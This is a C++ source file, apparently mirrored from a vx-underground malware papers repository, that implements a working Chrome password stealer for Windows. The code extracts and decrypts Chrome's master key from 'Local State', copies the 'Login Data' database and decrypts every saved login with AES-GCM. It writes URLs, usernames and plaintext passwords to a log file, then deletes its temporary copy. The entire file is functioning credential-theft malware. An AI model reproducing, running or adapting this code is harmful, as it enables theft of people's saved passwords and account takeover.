mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-15 07:19:24 +00:00
524 lines
12 KiB
C++
524 lines
12 KiB
C++
#include <windows.h>
|
|
#include <Wincrypt.h>
|
|
#include <bcrypt.h>
|
|
#include "sqlite3.h"
|
|
|
|
#pragma comment (lib, "Crypt32.lib")
|
|
#pragma comment (lib, "Bcrypt.lib")
|
|
|
|
#define DB_STRING L"Tmp.db"
|
|
#define LOG_FILE L"Log.txt"
|
|
#define AES_BLOCK_SIZE 16
|
|
#define CIPHER_SIZE 12
|
|
#define CHROME_V10_HEADER_SIZE 3
|
|
#define NULL_TERMINATION_PADDING 1
|
|
|
|
#pragma warning(disable: 28251)
|
|
#define WMAX_PATH (MAX_PATH * sizeof(WCHAR))
|
|
#define ERROR_NO_RETURN_VALUE 0
|
|
|
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
|
|
|
DATA_BLOB GlobalBlob;
|
|
HANDLE Log;
|
|
|
|
SIZE_T StringLength(LPCWSTR String)
|
|
{
|
|
LPCWSTR String2;
|
|
|
|
for (String2 = String; *String2; ++String2);
|
|
|
|
return (String2 - String);
|
|
}
|
|
|
|
SIZE_T StringLengthA(LPCSTR String)
|
|
{
|
|
LPCSTR String2;
|
|
|
|
for (String2 = String; *String2; ++String2);
|
|
|
|
return (String2 - String);
|
|
}
|
|
|
|
INT StringCompareStringRegionA(PCHAR String1, PCHAR String2, SIZE_T Count)
|
|
{
|
|
UCHAR Block1, Block2;
|
|
while (Count-- > 0)
|
|
{
|
|
Block1 = (UCHAR)*String1++;
|
|
Block2 = (UCHAR)*String2++;
|
|
|
|
if (Block1 != Block2)
|
|
return Block1 - Block2;
|
|
|
|
if (Block1 == '\0')
|
|
return 0;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
|
|
{
|
|
PWCHAR p = String1;
|
|
|
|
while ((*p++ = *String2++) != 0);
|
|
|
|
return String1;
|
|
}
|
|
|
|
PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
|
|
{
|
|
StringCopyW(&String[StringLength(String)], String2);
|
|
|
|
return String;
|
|
}
|
|
|
|
PCHAR StringCopyA(PCHAR String1, PCHAR String2)
|
|
{
|
|
PCHAR p = String1;
|
|
|
|
while ((*p++ = *String2++) != 0);
|
|
|
|
return String1;
|
|
}
|
|
|
|
PCHAR StringConcatA(PCHAR String, PCHAR String2)
|
|
{
|
|
StringCopyA(&String[StringLengthA(String)], String2);
|
|
|
|
return String;
|
|
}
|
|
|
|
BOOL PdIsPathValid(PWCHAR FilePath)
|
|
{
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
|
|
hFile = CreateFileW(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE)
|
|
{
|
|
if (GetLastError() == ERROR_SHARING_VIOLATION)
|
|
return TRUE;
|
|
else
|
|
return FALSE;
|
|
}
|
|
|
|
if (hFile)
|
|
CloseHandle(hFile);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
PCHAR StringLocateCharA(PCHAR String, INT Character)
|
|
{
|
|
do
|
|
{
|
|
if (*String == Character)
|
|
return (PCHAR)String;
|
|
|
|
} while (*String++);
|
|
|
|
return NULL;
|
|
}
|
|
|
|
PCHAR StringFindSubstringA(PCHAR String1, PCHAR String2)
|
|
{
|
|
PCHAR pPointer = String1;
|
|
DWORD Length = (DWORD)StringLengthA(String2);
|
|
|
|
for (; (pPointer = StringLocateCharA(pPointer, *String2)) != 0; pPointer++)
|
|
{
|
|
if (StringCompareStringRegionA(pPointer, String2, Length) == 0)
|
|
return (PCHAR)pPointer;
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
PCHAR StringRemoveSubstring(PCHAR String, CONST PCHAR Substring)
|
|
{
|
|
DWORD Length = (DWORD)StringLengthA(Substring);
|
|
PCHAR pPointer = String;
|
|
|
|
if (Length == 0)
|
|
return NULL;
|
|
|
|
while ((pPointer = StringFindSubstringA(pPointer, Substring)) != NULL)
|
|
MoveMemory(pPointer, pPointer + Length, StringLengthA(pPointer + Length) + 1);
|
|
|
|
return String;
|
|
}
|
|
|
|
PCHAR StringTerminateStringAtCharA(PCHAR String, INT Character)
|
|
{
|
|
DWORD Length = (DWORD)StringLengthA(String);
|
|
|
|
for (DWORD Index = 0; Index < Length; Index++)
|
|
{
|
|
if (String[Index] == Character)
|
|
{
|
|
String[Index] = '\0';
|
|
return String;
|
|
}
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
BOOL CreateLocalAppDataObjectPath(PWCHAR pBuffer, PWCHAR Path, DWORD Size, BOOL bFlag)
|
|
{
|
|
if (pBuffer == NULL)
|
|
return FALSE;
|
|
|
|
if (GetEnvironmentVariableW(L"LOCALAPPDATA", pBuffer, Size) == ERROR_NO_RETURN_VALUE)
|
|
return FALSE;
|
|
|
|
if (StringConcatW(pBuffer, Path) == ERROR_NO_RETURN_VALUE)
|
|
return FALSE;
|
|
|
|
if (bFlag)
|
|
{
|
|
if (!PdIsPathValid(pBuffer))
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
VOID CharArrayToByteArray(PCHAR Char, PBYTE Byte, DWORD Length)
|
|
{
|
|
for (DWORD dwX = 0; dwX < Length; dwX++)
|
|
{
|
|
Byte[dwX] = (BYTE)Char[dwX];
|
|
}
|
|
}
|
|
|
|
BOOL RtlLoadMasterKey(PWCHAR Path)
|
|
{
|
|
PCHAR Substring = NULL;
|
|
PBYTE Decoded = NULL;
|
|
DATA_BLOB In = { 0 };
|
|
DATA_BLOB Out = { 0 };
|
|
|
|
DWORD dwLength = 0;
|
|
|
|
HANDLE hHandle = INVALID_HANDLE_VALUE;
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
DWORD dwBytesRead = 0;
|
|
|
|
hHandle = CreateFile(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hHandle == INVALID_HANDLE_VALUE)
|
|
goto FAILURE;
|
|
|
|
dwError = GetFileSize(hHandle, NULL);
|
|
if (dwError == INVALID_FILE_SIZE)
|
|
goto FAILURE;
|
|
|
|
Substring = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwError);
|
|
if (Substring == NULL)
|
|
goto FAILURE;
|
|
|
|
if (!ReadFile(hHandle, Substring, dwError, &dwBytesRead, NULL))
|
|
goto FAILURE;
|
|
|
|
Substring = StringFindSubstringA(Substring, (PCHAR)"\"os_crypt\":{\"encrypted_key\":\"");
|
|
if (Substring == NULL)
|
|
goto FAILURE;
|
|
|
|
if (StringRemoveSubstring(Substring, (PCHAR)"\"os_crypt\":{\"encrypted_key\":\"") == NULL)
|
|
goto FAILURE;
|
|
|
|
if (StringTerminateStringAtCharA(Substring, '"') == NULL)
|
|
goto FAILURE;
|
|
|
|
if (!CryptStringToBinaryA(Substring, (DWORD)StringLengthA(Substring), CRYPT_STRING_BASE64, NULL, &dwLength, NULL, NULL))
|
|
goto FAILURE;
|
|
|
|
Decoded = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, StringLengthA(Substring) + 1);
|
|
if (Decoded == NULL)
|
|
goto FAILURE;
|
|
|
|
if (!CryptStringToBinaryA(Substring, (DWORD)StringLengthA(Substring), CRYPT_STRING_BASE64, Decoded, &dwLength, NULL, NULL))
|
|
goto FAILURE;
|
|
|
|
Decoded += 5;
|
|
dwLength -= 5;
|
|
|
|
In.cbData = dwLength;
|
|
In.pbData = Decoded;
|
|
|
|
if (!CryptUnprotectData(&In, NULL, NULL, NULL, NULL, 0, &GlobalBlob))
|
|
goto FAILURE;
|
|
|
|
if (hHandle)
|
|
CloseHandle(hHandle);
|
|
|
|
return TRUE;
|
|
|
|
FAILURE:
|
|
|
|
dwError = GetLastError();
|
|
|
|
if (hHandle)
|
|
CloseHandle(hHandle);
|
|
|
|
if (Decoded)
|
|
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Decoded);
|
|
|
|
if(Substring)
|
|
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Substring);
|
|
|
|
SetLastError(dwError);
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
VOID DisposeOfPathObject(PWCHAR Path)
|
|
{
|
|
ZeroMemory(Path, sizeof(Path));
|
|
}
|
|
|
|
BOOL WriteDecryptedDataToDisk(PCHAR Url, PCHAR Username, PBYTE Password)
|
|
{
|
|
CHAR WriteArray[512] = { 0 };
|
|
DWORD nNumberOfBytesToWrite = 0;
|
|
DWORD lpNumberOfBytesWritten = 0;
|
|
|
|
if (StringCopyA(WriteArray, (PCHAR)"Url: ") == NULL) return FALSE;
|
|
if (StringConcatA(WriteArray, Url) == NULL) return FALSE;
|
|
if (StringConcatA(WriteArray, (PCHAR)"\r\n") == NULL) return FALSE;
|
|
|
|
if (StringConcatA(WriteArray, (PCHAR)"Username: ") == NULL) return FALSE;
|
|
if (StringConcatA(WriteArray, Username) == NULL) return FALSE;
|
|
if (StringConcatA(WriteArray, (PCHAR)"\r\n") == NULL) return FALSE;
|
|
|
|
if (StringConcatA(WriteArray, (PCHAR)"Password: ") == NULL) return FALSE;
|
|
if (StringConcatA(WriteArray, (PCHAR)Password) == NULL) return FALSE;
|
|
if (StringConcatA(WriteArray, (PCHAR)"\r\n\n") == NULL) return FALSE;
|
|
|
|
nNumberOfBytesToWrite = (DWORD)StringLengthA(WriteArray);
|
|
|
|
return WriteFile(Log, WriteArray, nNumberOfBytesToWrite, &lpNumberOfBytesWritten, NULL);
|
|
}
|
|
|
|
INT CallbackSqlite3QueryObjectRoutine(PVOID DatabaseObject, INT Argc, PCHAR* Argv, PCHAR* ColumnName)
|
|
{
|
|
CHAR PasswordIv[MAX_PATH] = { 0 };
|
|
PBYTE IvPointer = NULL;
|
|
|
|
BCRYPT_ALG_HANDLE Handle = NULL;
|
|
BCRYPT_KEY_HANDLE phKey = NULL;
|
|
NTSTATUS Status = ERROR_SUCCESS;
|
|
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
|
|
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO Info;
|
|
|
|
PBYTE pbInitIv = NULL;
|
|
ULONG IvLength = (ULONG)StringLengthA(Argv[2]);
|
|
|
|
PBYTE DecryptedData = NULL;
|
|
ULONG DecryptedSize = 0;
|
|
|
|
if (IvLength < 32)
|
|
{
|
|
//known issue
|
|
return (INT)ERROR_SUCCESS;
|
|
}
|
|
|
|
CopyMemory(PasswordIv, Argv[2], IvLength);
|
|
|
|
pbInitIv = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, IvLength);
|
|
if (pbInitIv == NULL)
|
|
goto FAILURE;
|
|
|
|
CharArrayToByteArray(PasswordIv, pbInitIv, IvLength);
|
|
IvPointer = pbInitIv;
|
|
IvPointer += 3;
|
|
|
|
Status = BCryptOpenAlgorithmProvider(&Handle, L"AES", NULL, 0);
|
|
if (!NT_SUCCESS(Status))
|
|
return (INT)GetLastError();
|
|
|
|
Status = BCryptSetProperty(Handle, L"ChainingMode", (PUCHAR)L"ChainingModeGCM", 0, 0);
|
|
if (!NT_SUCCESS(Status))
|
|
goto FAILURE;
|
|
|
|
Status = BCryptGenerateSymmetricKey(Handle, &phKey, NULL, 0, GlobalBlob.pbData, GlobalBlob.cbData, 0);
|
|
if (!NT_SUCCESS(Status))
|
|
goto FAILURE;
|
|
|
|
BCRYPT_INIT_AUTH_MODE_INFO(Info);
|
|
Info.pbNonce = IvPointer;
|
|
Info.cbNonce = CIPHER_SIZE;
|
|
Info.pbTag = (Info.pbNonce + IvLength - (CHROME_V10_HEADER_SIZE + AES_BLOCK_SIZE));
|
|
Info.cbTag = AES_BLOCK_SIZE;
|
|
|
|
dwError = IvLength - CHROME_V10_HEADER_SIZE - Info.cbNonce -Info.cbTag;
|
|
#pragma warning( push )
|
|
#pragma warning( disable : 26451)
|
|
DecryptedData = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwError + NULL_TERMINATION_PADDING);
|
|
if (DecryptedData == NULL)
|
|
goto FAILURE;
|
|
#pragma warning( pop )
|
|
|
|
Status = BCryptDecrypt(phKey, (Info.pbNonce + Info.cbNonce), dwError, &Info, NULL, 0, DecryptedData, dwError, &DecryptedSize, 0);
|
|
if (!NT_SUCCESS(Status))
|
|
goto FAILURE;
|
|
|
|
WriteDecryptedDataToDisk(Argv[0], Argv[1], DecryptedData);
|
|
|
|
if (pbInitIv)
|
|
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, pbInitIv);
|
|
|
|
IvPointer = NULL;
|
|
|
|
if (phKey)
|
|
BCryptDestroyKey(phKey);
|
|
|
|
if (Handle)
|
|
BCryptCloseAlgorithmProvider(Handle, 0);
|
|
|
|
if (DecryptedData)
|
|
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, DecryptedData);
|
|
|
|
return (INT)ERROR_SUCCESS;
|
|
|
|
FAILURE:
|
|
|
|
dwError = GetLastError();
|
|
|
|
if (pbInitIv)
|
|
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, pbInitIv);
|
|
|
|
#pragma warning( push )
|
|
#pragma warning( disable : 6001)
|
|
if (phKey)
|
|
BCryptDestroyKey(phKey);
|
|
#pragma warning( pop )
|
|
|
|
if (Handle)
|
|
BCryptCloseAlgorithmProvider(Handle, 0);
|
|
|
|
if (DecryptedData)
|
|
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, DecryptedData);
|
|
|
|
return (INT)dwError;
|
|
}
|
|
|
|
BOOL DeleteFileInternal(PWCHAR Path)
|
|
{
|
|
HANDLE hHandle = INVALID_HANDLE_VALUE;
|
|
|
|
if (Path == NULL)
|
|
return FALSE;
|
|
|
|
if (!PdIsPathValid(Path))
|
|
return FALSE;
|
|
|
|
hHandle = CreateFileW(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
|
if (hHandle == INVALID_HANDLE_VALUE)
|
|
return FALSE;
|
|
|
|
if (hHandle)
|
|
CloseHandle(hHandle);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL GetSqlite3ChromeDbData(VOID)
|
|
{
|
|
sqlite3* DatabaseObject = NULL;
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
INT Result = ERROR_SUCCESS;
|
|
PCHAR Error = NULL;
|
|
|
|
Result = sqlite3_open_v2("Tmp.db", &DatabaseObject, SQLITE_OPEN_READONLY, NULL);
|
|
if (Result != ERROR_SUCCESS)
|
|
goto FAILURE;
|
|
|
|
Log = CreateFileW(LOG_FILE, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (Log == INVALID_HANDLE_VALUE)
|
|
goto FAILURE;
|
|
|
|
Result = sqlite3_exec(DatabaseObject, "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS", CallbackSqlite3QueryObjectRoutine, DatabaseObject, &Error);
|
|
if (Result != ERROR_SUCCESS)
|
|
goto FAILURE;
|
|
|
|
if (DatabaseObject)
|
|
sqlite3_close(DatabaseObject);
|
|
|
|
if (Log)
|
|
CloseHandle(Log);
|
|
|
|
return TRUE;
|
|
|
|
FAILURE:
|
|
|
|
if (DatabaseObject)
|
|
sqlite3_close(DatabaseObject);
|
|
|
|
if (Log)
|
|
CloseHandle(Log);
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
INT main(VOID)
|
|
{
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
WCHAR ChromePath[WMAX_PATH] = { 0 };
|
|
BOOL bExists = FALSE;
|
|
WCHAR Tmp[WMAX_PATH] = { 0 };
|
|
|
|
typedef enum { Chrome = 0, FireFox = 1, Other = 2} BrowserTargets;
|
|
|
|
if (!CreateLocalAppDataObjectPath(ChromePath, (PWCHAR)L"\\Google\\Chrome\\User Data\\Local State", WMAX_PATH, TRUE))
|
|
goto FAILURE;
|
|
|
|
if(!RtlLoadMasterKey(ChromePath))
|
|
goto FAILURE;
|
|
|
|
DisposeOfPathObject(ChromePath);
|
|
|
|
if (!CreateLocalAppDataObjectPath(ChromePath, (PWCHAR)L"\\Google\\Chrome\\User Data\\Default\\Login Data", WMAX_PATH, TRUE))
|
|
goto FAILURE;
|
|
|
|
if (!CreateLocalAppDataObjectPath(Tmp, (PWCHAR)L"\\Google\\Chrome\\User Data\\Default\\", WMAX_PATH, FALSE))
|
|
goto FAILURE;
|
|
|
|
if (!SetCurrentDirectoryW(Tmp))
|
|
goto FAILURE;
|
|
|
|
DisposeOfPathObject(Tmp);
|
|
|
|
if (!CopyFile(ChromePath, DB_STRING, TRUE))
|
|
goto FAILURE;
|
|
|
|
bExists = TRUE;
|
|
|
|
if (!GetSqlite3ChromeDbData())
|
|
goto FAILURE;
|
|
|
|
if (!DeleteFileInternal((PWCHAR)DB_STRING))
|
|
goto FAILURE;
|
|
|
|
if (GlobalBlob.pbData)
|
|
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, GlobalBlob.pbData);
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
FAILURE:
|
|
|
|
dwError = GetLastError();
|
|
|
|
if (bExists)
|
|
DeleteFileInternal((PWCHAR)DB_STRING);
|
|
|
|
if (GlobalBlob.pbData)
|
|
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, GlobalBlob.pbData);
|
|
|
|
return dwError;
|
|
}
|
|
|